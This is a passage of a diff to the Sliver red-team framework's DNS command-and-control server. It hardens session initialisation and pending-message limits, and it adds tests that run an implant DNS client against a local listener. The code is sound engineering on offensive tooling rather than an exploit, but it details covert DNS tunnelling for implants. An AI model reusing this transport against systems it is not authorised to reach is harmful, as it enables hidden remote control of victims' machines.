if session, ok := sessionValue.(*DNSSession); ok && session != nil {
|
||||||
|
session.touch(time.Now())
|
||||||
|
}
|
||||||
|
|
||||||
// Msg Type -> Handler
|
// Msg Type -> Handler
|
||||||
switch msg.Type {
|
switch msg.Type {
|
||||||
case dnspb.DNSMessageType_NOP:
|
case dnspb.DNSMessageType_NOP:
|
||||||
return s.handleNOP(domain, msg, checksum, req)
|
return s.handleNOP(domain, msg, checksum, req)
|
||||||
case dnspb.DNSMessageType_INIT:
|
|
||||||
return s.handleDNSSessionInit(domain, msg, checksum, req)
|
|
||||||
case dnspb.DNSMessageType_POLL:
|
case dnspb.DNSMessageType_POLL:
|
||||||
return s.handlePoll(domain, msg, checksum, req)
|
return s.handlePoll(domain, msg, checksum, req)
|
||||||
case dnspb.DNSMessageType_DATA_FROM_IMPLANT:
|
case dnspb.DNSMessageType_DATA_FROM_IMPLANT:
|
||||||
@@ -456,81 +547,86 @@ func (s *SliverDNSServer) accumulateInitData(msg *dnspb.DNSMessage) ([]byte, boo
|
|||||||
if msg.Size == 0 {
|
if msg.Size == 0 {
|
||||||
return nil, false, ErrInvalidMsg
|
return nil, false, ErrInvalidMsg
|
||||||
}
|
}
|
||||||
|
if msg.Size > defaultMaxDNSInitSize {
|
||||||
|
return nil, false, ErrInvalidMsg
|
||||||
|
}
|
||||||
pendingValue, loaded := s.messages.Load(msg.ID)
|
pendingValue, loaded := s.messages.Load(msg.ID)
|
||||||
if !loaded {
|
if !loaded {
|
||||||
pendingValue = &PendingEnvelope{
|
// Enforce a hard cap on pending INIT messages to prevent unbounded allocation.
|
||||||
Size: msg.Size,
|
next := s.pendingInits.Add(1)
|
||||||
received: uint32(0),
|
if int64(defaultMaxPendingDNSInits) > 0 && next > int64(defaultMaxPendingDNSInits) {
|
||||||
messages: map[uint32][]byte{},
|
s.pendingInits.Add(-1)
|
||||||
mutex: &sync.Mutex{},
|
return nil, false, ErrInvalidMsg
|
||||||
complete: false,
|
}
|
||||||
|
|
||||||
|
pendingValue = &pendingInit{
|
||||||
|
Created: time.Now(),
|
||||||
|
Envelope: &PendingEnvelope{
|
||||||
|
Size: msg.Size,
|
||||||
|
received: uint32(0),
|
||||||
|
messages: map[uint32][]byte{},
|
||||||
|
mutex: &sync.Mutex{},
|
||||||
|
complete: false,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
actual, loaded := s.messages.LoadOrStore(msg.ID, pendingValue)
|
||||||
|
if loaded {
|
||||||
|
// Another goroutine won the race. Roll back our pending counter.
|
||||||
|
s.pendingInits.Add(-1)
|
||||||
|
pendingValue = actual
|
||||||
}
|
}
|
||||||
actual, _ := s.messages.LoadOrStore(msg.ID, pendingValue)
|
|
||||||
pendingValue = actual
|
|
||||||
}
|
}
|
||||||
pending := pendingValue.(*PendingEnvelope)
|
p, ok := pendingValue.(*pendingInit)
|
||||||
|
if !ok || p == nil || p.Envelope == nil {
|
||||||
|
s.deletePendingInit(msg.ID)
|
||||||
|
return nil, false, ErrInvalidMsg
|
||||||
|
}
|
||||||
|
pending := p.Envelope
|
||||||
if pending.Size != msg.Size && msg.Size != 0 {
|
if pending.Size != msg.Size && msg.Size != 0 {
|
||||||
s.messages.Delete(msg.ID)
|
s.deletePendingInit(msg.ID)
|
||||||
return nil, false, ErrInvalidMsg
|
return nil, false, ErrInvalidMsg
|
||||||
}
|
}
|
||||||
if !pending.Insert(msg) {
|
if !pending.Insert(msg) {
|
||||||
return nil, false, nil
|
return nil, false, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if pending.received > pending.Size {
|
||||||
|
s.deletePendingInit(msg.ID)
|
||||||
|
return nil, false, ErrInvalidMsg
|
||||||
|
}
|
||||||
|
|
||||||
data, err := pending.Reassemble()
|
data, err := pending.Reassemble()
|
||||||
s.messages.Delete(msg.ID)
|
s.deletePendingInit(msg.ID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, false, err
|
return nil, false, err
|
||||||
}
|
}
|
||||||
return data, true, nil
|
return data, true, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ---------------------------
|
func (s *SliverDNSServer) deletePendingInit(id uint32) {
|
||||||
// DNS Message Handlers
|
if _, loaded := s.messages.LoadAndDelete(id); loaded {
|
||||||
// ---------------------------
|
s.pendingInits.Add(-1)
|
||||||
func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
|
|
||||||
dnsLog.Debugf("[dns] totp request: %v", msg)
|
|
||||||
|
|
||||||
dnsSessionID := dnsSessionID()
|
|
||||||
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
|
|
||||||
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
|
|
||||||
ID: dnsSessionID & sessionIDBitMask,
|
|
||||||
dnsIdMsgIdMap: map[uint32]uint32{},
|
|
||||||
outgoingMsgIDs: []uint32{},
|
|
||||||
outgoingBuffers: map[uint32][]byte{},
|
|
||||||
outgoingMutex: &sync.RWMutex{},
|
|
||||||
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
|
||||||
incomingMutex: &sync.Mutex{},
|
|
||||||
msgCount: uint32(0),
|
|
||||||
})
|
|
||||||
|
|
||||||
resp := new(dns.Msg)
|
|
||||||
resp.SetReply(req)
|
|
||||||
resp.Authoritative = true
|
|
||||||
respBuf := make([]byte, 4)
|
|
||||||
binary.LittleEndian.PutUint32(respBuf, dnsSessionID)
|
|
||||||
for _, q := range req.Question {
|
|
||||||
switch q.Qtype {
|
|
||||||
case dns.TypeA:
|
|
||||||
a := &dns.A{
|
|
||||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: s.TTL},
|
|
||||||
A: respBuf,
|
|
||||||
}
|
|
||||||
resp.Answer = append(resp.Answer, a)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return resp
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
|
func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
|
||||||
dnsLog.Debugf("[session init] with dns session id %d", msg.ID&sessionIDBitMask)
|
sessionID := msg.ID & sessionIDBitMask
|
||||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
dnsLog.Debugf("[session init] with dns session id %d", sessionID)
|
||||||
dnsSession := loadSession.(*DNSSession)
|
if sessionID == 0 {
|
||||||
|
dnsLog.Warnf("[session init] invalid dns session id")
|
||||||
|
return s.refusedErrorResp(req)
|
||||||
|
}
|
||||||
if msg.Size <= 32 {
|
if msg.Size <= 32 {
|
||||||
dnsLog.Warnf("[session init] invalid msg data length")
|
dnsLog.Warnf("[session init] invalid msg data length")
|
||||||
return s.refusedErrorResp(req)
|
return s.refusedErrorResp(req)
|
||||||
}
|
}
|
||||||
if dnsSession.CipherCtx != nil {
|
if existing, ok := s.sessions.Load(sessionID); ok {
|
||||||
dnsLog.Warnf("[session init] session is already initialized")
|
// Defensive: INIT should only be called once per session ID.
|
||||||
|
if dnsSession, ok := existing.(*DNSSession); ok && dnsSession != nil && dnsSession.CipherCtx != nil {
|
||||||
|
dnsLog.Warnf("[session init] session is already initialized")
|
||||||
|
return s.refusedErrorResp(req)
|
||||||
|
}
|
||||||
|
dnsLog.Warnf("[session init] session already exists")
|
||||||
return s.refusedErrorResp(req)
|
return s.refusedErrorResp(req)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -564,7 +660,27 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
|||||||
return s.refusedErrorResp(req)
|
return s.refusedErrorResp(req)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
dnsSession := &DNSSession{
|
||||||
|
ID: sessionID,
|
||||||
|
Created: now,
|
||||||
|
dnsIdMsgIdMap: map[uint32]uint32{},
|
||||||
|
outgoingMsgIDs: []uint32{},
|
||||||
|
outgoingBuffers: map[uint32][]byte{},
|
||||||
|
outgoingMutex: &sync.RWMutex{},
|
||||||
|
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
||||||
|
incomingMutex: &sync.Mutex{},
|
||||||
|
msgCount: uint32(0),
|
||||||
|
}
|
||||||
|
dnsSession.touch(now)
|
||||||
dnsSession.ImplantConn = core.NewImplantConnection("dns", "n/a")
|
dnsSession.ImplantConn = core.NewImplantConnection("dns", "n/a")
|
||||||
|
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||||
|
|
||||||
|
if _, loaded := s.sessions.LoadOrStore(sessionID, dnsSession); loaded {
|
||||||
|
dnsLog.Warnf("[session init] session id collision for %d", sessionID)
|
||||||
|
return s.refusedErrorResp(req)
|
||||||
|
}
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
dnsLog.Debugf("[dns] starting implant conn send loop")
|
dnsLog.Debugf("[dns] starting implant conn send loop")
|
||||||
for envelope := range dnsSession.ImplantConn.Send {
|
for envelope := range dnsSession.ImplantConn.Send {
|
||||||
@@ -572,7 +688,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
|||||||
}
|
}
|
||||||
dnsLog.Debugf("[dns] closing implant conn send loop")
|
dnsLog.Debugf("[dns] closing implant conn send loop")
|
||||||
}()
|
}()
|
||||||
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
|
|
||||||
buf := make([]byte, 4)
|
buf := make([]byte, 4)
|
||||||
binary.LittleEndian.PutUint32(buf, dnsSession.ID)
|
binary.LittleEndian.PutUint32(buf, dnsSession.ID)
|
||||||
respData, err := dnsSession.CipherCtx.Encrypt(buf)
|
respData, err := dnsSession.CipherCtx.Encrypt(buf)
|
||||||
@@ -628,6 +743,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
|
|||||||
dnsLog.Debugf("[poll] with dns session id %d", msg.ID&sessionIDBitMask)
|
dnsLog.Debugf("[poll] with dns session id %d", msg.ID&sessionIDBitMask)
|
||||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||||
dnsSession := loadSession.(*DNSSession)
|
dnsSession := loadSession.(*DNSSession)
|
||||||
|
dnsSession.touch(time.Now())
|
||||||
|
|
||||||
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
|
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -709,6 +825,7 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
|
|||||||
dnsLog.Debugf("[from implant] dns session id %d", msg.ID&sessionIDBitMask)
|
dnsLog.Debugf("[from implant] dns session id %d", msg.ID&sessionIDBitMask)
|
||||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||||
dnsSession := loadSession.(*DNSSession)
|
dnsSession := loadSession.(*DNSSession)
|
||||||
|
dnsSession.touch(time.Now())
|
||||||
dnsLog.Debugf("[from implant] msg id: %d, size: %d", msg.ID, msg.Size)
|
dnsLog.Debugf("[from implant] msg id: %d, size: %d", msg.ID, msg.Size)
|
||||||
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
|
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
|
||||||
complete := pending.Insert(msg)
|
complete := pending.Insert(msg)
|
||||||
@@ -739,6 +856,7 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
|
|||||||
dnsLog.Debugf("[to implant] dns session id %d", msg.ID&sessionIDBitMask)
|
dnsLog.Debugf("[to implant] dns session id %d", msg.ID&sessionIDBitMask)
|
||||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||||
dnsSession := loadSession.(*DNSSession)
|
dnsSession := loadSession.(*DNSSession)
|
||||||
|
dnsSession.touch(time.Now())
|
||||||
|
|
||||||
data, err := dnsSession.OutgoingRead(msg.ID, msg.Start, msg.Stop)
|
data, err := dnsSession.OutgoingRead(msg.ID, msg.Start, msg.Stop)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -798,6 +916,7 @@ func (s *SliverDNSServer) handleClear(domain string, msg *dnspb.DNSMessage, chec
|
|||||||
dnsLog.Debugf("[clear] dns session id %d", msg.ID&sessionIDBitMask)
|
dnsLog.Debugf("[clear] dns session id %d", msg.ID&sessionIDBitMask)
|
||||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||||
dnsSession := loadSession.(*DNSSession)
|
dnsSession := loadSession.(*DNSSession)
|
||||||
|
dnsSession.touch(time.Now())
|
||||||
dnsSession.ClearOutgoingEnvelope(msg.ID)
|
dnsSession.ClearOutgoingEnvelope(msg.ID)
|
||||||
|
|
||||||
respBuf := make([]byte, 4)
|
respBuf := make([]byte, 4)
|
||||||
|
|||||||
@@ -0,0 +1,309 @@
|
|||||||
|
//go:build server && go_sqlite && sliver_e2e
|
||||||
|
|
||||||
|
package c2_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"runtime"
|
||||||
|
"strconv"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||||
|
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||||
|
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
|
"github.com/bishopfox/sliver/server/certs"
|
||||||
|
"github.com/bishopfox/sliver/server/core"
|
||||||
|
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
|
||||||
|
"github.com/bishopfox/sliver/server/db"
|
||||||
|
"github.com/bishopfox/sliver/server/db/models"
|
||||||
|
"github.com/bishopfox/sliver/server/transport"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"google.golang.org/protobuf/proto"
|
||||||
|
)
|
||||||
|
|
||||||
|
const dnsE2EEchoMsgType = uint32(0x7fffffff)
|
||||||
|
|
||||||
|
func TestDNS_EndToEndPingRPC(t *testing.T) {
|
||||||
|
// NOTE: If you run this test in a restricted environment where writes to
|
||||||
|
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||||
|
|
||||||
|
t.Cleanup(func() {
|
||||||
|
for _, session := range core.Sessions.All() {
|
||||||
|
core.Sessions.Remove(session.ID)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
setupDNSKeyExImplantBuild(t)
|
||||||
|
|
||||||
|
grpcServer, grpcListener, err := transport.LocalListener()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("start local grpc listener: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() {
|
||||||
|
grpcServer.Stop()
|
||||||
|
_ = grpcListener.Close()
|
||||||
|
})
|
||||||
|
|
||||||
|
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||||
|
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||||
|
|
||||||
|
dnsParent := "e2e.example.com."
|
||||||
|
dnsPort := freeUDPPort(t)
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
dnsListener, err := rpcClient.StartDNSListener(ctx, &clientpb.DNSListenerReq{
|
||||||
|
Domains: []string{dnsParent},
|
||||||
|
Canaries: false,
|
||||||
|
Host: "127.0.0.1",
|
||||||
|
Port: dnsPort,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("StartDNSListener: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() {
|
||||||
|
if job := core.Jobs.Get(int(dnsListener.JobID)); job != nil {
|
||||||
|
job.JobCtrl <- true
|
||||||
|
}
|
||||||
|
_ = db.DeleteListener(dnsListener.JobID)
|
||||||
|
})
|
||||||
|
|
||||||
|
// Give the UDP listener a moment to bind before the implant starts sending queries.
|
||||||
|
time.Sleep(50 * time.Millisecond)
|
||||||
|
|
||||||
|
stopImplant := startTestDNSImplant(t, dnsParent, dnsPort)
|
||||||
|
t.Cleanup(stopImplant)
|
||||||
|
|
||||||
|
sessionID := waitForSessionID(t, 10*time.Second)
|
||||||
|
|
||||||
|
pingReq := &sliverpb.Ping{
|
||||||
|
Nonce: 31337,
|
||||||
|
Request: &commonpb.Request{
|
||||||
|
SessionID: sessionID,
|
||||||
|
Timeout: int64(5 * time.Second),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
pingResp, err := rpcClient.Ping(ctx, pingReq)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Ping: %v", err)
|
||||||
|
}
|
||||||
|
if pingResp.Nonce != pingReq.Nonce {
|
||||||
|
t.Fatalf("ping nonce mismatch: %d != %d", pingResp.Nonce, pingReq.Nonce)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extra validation: send a larger request/response directly via the session to
|
||||||
|
// force message fragmentation and reassembly over the DNS C2 transport.
|
||||||
|
session := core.Sessions.Get(sessionID)
|
||||||
|
if session == nil {
|
||||||
|
t.Fatalf("session not found: %s", sessionID)
|
||||||
|
}
|
||||||
|
large := make([]byte, 8192)
|
||||||
|
if _, err := rand.Read(large); err != nil {
|
||||||
|
t.Fatalf("rand.Read: %v", err)
|
||||||
|
}
|
||||||
|
resp, err := session.Request(dnsE2EEchoMsgType, 20*time.Second, large)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("session.Request(echo): %v", err)
|
||||||
|
}
|
||||||
|
if !bytesEqual(resp, large) {
|
||||||
|
t.Fatalf("echo response mismatch: %d != %d bytes", len(resp), len(large))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func bytesEqual(a, b []byte) bool {
|
||||||
|
if len(a) != len(b) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
for i := range a {
|
||||||
|
if a[i] != b[i] {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func freeUDPPort(t *testing.T) uint32 {
|
||||||
|
t.Helper()
|
||||||
|
conn, err := net.ListenPacket("udp", "127.0.0.1:0")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("listen udp: %v", err)
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
_, portStr, err := net.SplitHostPort(conn.LocalAddr().String())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("split udp addr: %v", err)
|
||||||
|
}
|
||||||
|
port, err := strconv.Atoi(portStr)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parse udp port: %v", err)
|
||||||
|
}
|
||||||
|
if port <= 0 || 65535 < port {
|
||||||
|
t.Fatalf("unexpected udp port: %d", port)
|
||||||
|
}
|
||||||
|
return uint32(port)
|
||||||
|
}
|
||||||
|
|
||||||
|
func setupDNSKeyExImplantBuild(t *testing.T) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
certs.SetupCAs()
|
||||||
|
serverAgeKeyPair := serverCrypto.AgeServerKeyPair()
|
||||||
|
peerAgeKeyPair, err := serverCrypto.RandomAgeKeyPair()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("random age key pair: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
implantCrypto.SetSecrets(
|
||||||
|
peerAgeKeyPair.Public,
|
||||||
|
peerAgeKeyPair.Private,
|
||||||
|
"",
|
||||||
|
serverAgeKeyPair.Public,
|
||||||
|
serverCrypto.MinisignServerPublicKey(),
|
||||||
|
)
|
||||||
|
|
||||||
|
digest := sha256.Sum256([]byte(peerAgeKeyPair.Public))
|
||||||
|
publicKeyDigest := hex.EncodeToString(digest[:])
|
||||||
|
|
||||||
|
implantBuild := &models.ImplantBuild{
|
||||||
|
Name: "test-" + publicKeyDigest,
|
||||||
|
PeerPublicKey: peerAgeKeyPair.Public,
|
||||||
|
PeerPublicKeyDigest: publicKeyDigest,
|
||||||
|
PeerPrivateKey: peerAgeKeyPair.Private,
|
||||||
|
AgeServerPublicKey: serverAgeKeyPair.Public,
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.Session().Create(implantBuild).Error; err != nil {
|
||||||
|
t.Fatalf("create implant build: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() {
|
||||||
|
_ = db.Session().Delete(implantBuild).Error
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func startTestDNSImplant(t *testing.T, dnsParent string, dnsPort uint32) func() {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
opts := &dnsclient.DNSOptions{
|
||||||
|
QueryTimeout: 250 * time.Millisecond,
|
||||||
|
RetryWait: 50 * time.Millisecond,
|
||||||
|
RetryCount: 10,
|
||||||
|
MaxErrors: 10,
|
||||||
|
WorkersPerResolver: 1,
|
||||||
|
NoTXT: false,
|
||||||
|
ForceResolvers: fmt.Sprintf("127.0.0.1:%d", dnsPort),
|
||||||
|
}
|
||||||
|
|
||||||
|
// Starting the UDP listener is asynchronous relative to the gRPC call that
|
||||||
|
// created it. Retry session init for a short time to avoid flakes.
|
||||||
|
var (
|
||||||
|
client *dnsclient.SliverDNSClient
|
||||||
|
err error
|
||||||
|
)
|
||||||
|
deadline := time.Now().Add(5 * time.Second)
|
||||||
|
for {
|
||||||
|
client, err = dnsclient.DNSStartSession(dnsParent, opts)
|
||||||
|
if err == nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if time.Now().After(deadline) {
|
||||||
|
t.Fatalf("DNSStartSession: %v", err)
|
||||||
|
}
|
||||||
|
time.Sleep(50 * time.Millisecond)
|
||||||
|
}
|
||||||
|
|
||||||
|
register := &sliverpb.Register{
|
||||||
|
Name: "e2e-dns",
|
||||||
|
Hostname: "localhost",
|
||||||
|
Uuid: uuid.NewString(),
|
||||||
|
Username: "unit-test",
|
||||||
|
Os: runtime.GOOS,
|
||||||
|
Arch: runtime.GOARCH,
|
||||||
|
Pid: int32(os.Getpid()),
|
||||||
|
Filename: "sliver-e2e",
|
||||||
|
ActiveC2: "dns://e2e",
|
||||||
|
Version: "e2e",
|
||||||
|
ReconnectInterval: 0,
|
||||||
|
ProxyURL: "",
|
||||||
|
Locale: "en_US",
|
||||||
|
}
|
||||||
|
regData, err := proto.Marshal(register)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("marshal register: %v", err)
|
||||||
|
}
|
||||||
|
if err := client.WriteEnvelope(&sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
|
||||||
|
t.Fatalf("send register: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
handlers := implantHandlers.GetSystemHandlers()
|
||||||
|
abort := make(chan struct{})
|
||||||
|
done := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
defer close(done)
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-abort:
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
envelope, err := client.ReadEnvelope()
|
||||||
|
switch err {
|
||||||
|
case nil:
|
||||||
|
if envelope == nil {
|
||||||
|
time.Sleep(25 * time.Millisecond)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
case dnsclient.ErrTimeout:
|
||||||
|
continue
|
||||||
|
case dnsclient.ErrClosed:
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
// Treat transient resolver errors as retryable in this test loop.
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if envelope.ID == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if envelope.Type == dnsE2EEchoMsgType {
|
||||||
|
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: envelope.Data})
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
handler, ok := handlers[envelope.Type]
|
||||||
|
if !ok {
|
||||||
|
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
handler(envelope.Data, func(data []byte, err error) {
|
||||||
|
_ = err
|
||||||
|
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: data})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
return func() {
|
||||||
|
close(abort)
|
||||||
|
_ = client.CloseSession()
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
case <-time.After(5 * time.Second):
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+289
-19
@@ -232,31 +232,55 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDNSHelloRoundTrip(t *testing.T) {
|
func TestDNSSessionInitRoundTrip(t *testing.T) {
|
||||||
server := newTestDNSServer()
|
server := newTestDNSServer()
|
||||||
resolver := &testDNSResolver{server: server, parent: example1}
|
resolver := &testDNSResolver{server: server, parent: example1}
|
||||||
|
|
||||||
msg := &dnspb.DNSMessage{
|
sessionID := uint32(0x123456)
|
||||||
Type: dnspb.DNSMessageType_TOTP,
|
if _, ok := server.sessions.Load(sessionID); ok {
|
||||||
ID: 0,
|
t.Fatalf("expected session %d to not exist before init", sessionID)
|
||||||
}
|
}
|
||||||
domain, err := encodeMessageDomain(example1, msg)
|
|
||||||
|
key := implantCrypto.RandomSymmetricKey()
|
||||||
|
cipherCtx := implantCrypto.NewCipherContext(key)
|
||||||
|
initData, err := implantCrypto.AgeKeyExToServer(key[:])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("encodeMessageDomain failed: %s", err)
|
t.Fatalf("AgeKeyExToServer failed: %s", err)
|
||||||
}
|
}
|
||||||
data, _, err := resolver.A(domain)
|
initMsg := &dnspb.DNSMessage{
|
||||||
|
Type: dnspb.DNSMessageType_INIT,
|
||||||
|
ID: 0x01000000 | sessionID,
|
||||||
|
Size: uint32(len(initData)),
|
||||||
|
}
|
||||||
|
client := dnsclient.NewDNSClient(example1, opts)
|
||||||
|
domains, err := client.SplitBuffer(initMsg, implantEncoders.Base32Encoder{}, initData)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("resolver.A failed: %s", err)
|
t.Fatalf("SplitBuffer failed: %s", err)
|
||||||
}
|
}
|
||||||
if len(data) != 4 {
|
|
||||||
t.Fatalf("expected 4 bytes in response, got %d", len(data))
|
var respData []byte
|
||||||
|
for _, domain := range domains {
|
||||||
|
data, _, err := resolver.TXT(domain)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("resolver.TXT failed: %s", err)
|
||||||
|
}
|
||||||
|
if 0 < len(data) {
|
||||||
|
respData = data
|
||||||
|
}
|
||||||
}
|
}
|
||||||
sessionID := binary.LittleEndian.Uint32(data) & sessionIDBitMask
|
if len(respData) < 1 {
|
||||||
if sessionID == 0 {
|
t.Fatal("expected non-empty init response")
|
||||||
t.Fatal("expected non-zero session id")
|
}
|
||||||
|
plaintext, err := cipherCtx.Decrypt(respData)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("init response decrypt failed: %s", err)
|
||||||
|
}
|
||||||
|
got := binary.LittleEndian.Uint32(plaintext) & sessionIDBitMask
|
||||||
|
if got != sessionID {
|
||||||
|
t.Fatalf("expected session id %d, got %d", sessionID, got)
|
||||||
}
|
}
|
||||||
if _, ok := server.sessions.Load(sessionID); !ok {
|
if _, ok := server.sessions.Load(sessionID); !ok {
|
||||||
t.Fatalf("expected session %d to be stored", sessionID)
|
t.Fatalf("expected session %d to be stored after init", sessionID)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -421,7 +445,8 @@ func TestDNSDataToImplantRejectsInvalidRead(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func TestIsC2Domain(t *testing.T) {
|
func TestIsC2Domain(t *testing.T) {
|
||||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||||
|
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||||
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
|
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
|
||||||
if !isC2 {
|
if !isC2 {
|
||||||
t.Fatal("IsC2Domain expected true, got false")
|
t.Fatal("IsC2Domain expected true, got false")
|
||||||
@@ -444,7 +469,8 @@ func TestIsC2Domain(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
